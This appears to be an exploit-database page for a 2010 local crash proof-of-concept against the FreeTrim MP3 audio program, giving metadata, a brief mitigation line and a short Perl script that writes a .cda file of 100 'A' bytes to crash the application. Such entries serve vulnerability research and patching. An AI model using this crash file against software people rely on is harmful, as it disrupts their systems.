header-logo
Suggest Exploit
vendor:
FreeTrim MP3
by:
h1ch4m
7,5
CVSS
HIGH
Local Crash
119
CWE
Product Name: FreeTrim MP3
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: Yes
Related CWE: N/A
CPE: a:freetrimmp3:freetrim_mp3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2010

FreeTrim MP3 Local Crash PoC

This exploit is a proof-of-concept for a local crash vulnerability in FreeTrim MP3. The exploit creates a file with a large number of 'A' characters and then attempts to open it with FreeTrim MP3. This causes the application to crash.

Mitigation:

The user should ensure that they are running the latest version of FreeTrim MP3 and that all security patches have been applied.
Source

Exploit-DB raw data:

####Exploit Title: FreeTrim MP3  Local Crash PoC
####Software Link: http://www.freetrimmp3.com/downloads/FreeTrimMP3.exe
####Tested on: Win XP SP3
####Date: 02-12-2010
####Author:  h1ch4m
####Email: h1ch4m@live.fr

################################################
#############   sahra dyalna o jazayrya khotna         
################################################

my $file= "1.cda";
my $junk = "\x41" x 100;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "File Created successfully\n";
sleep(1);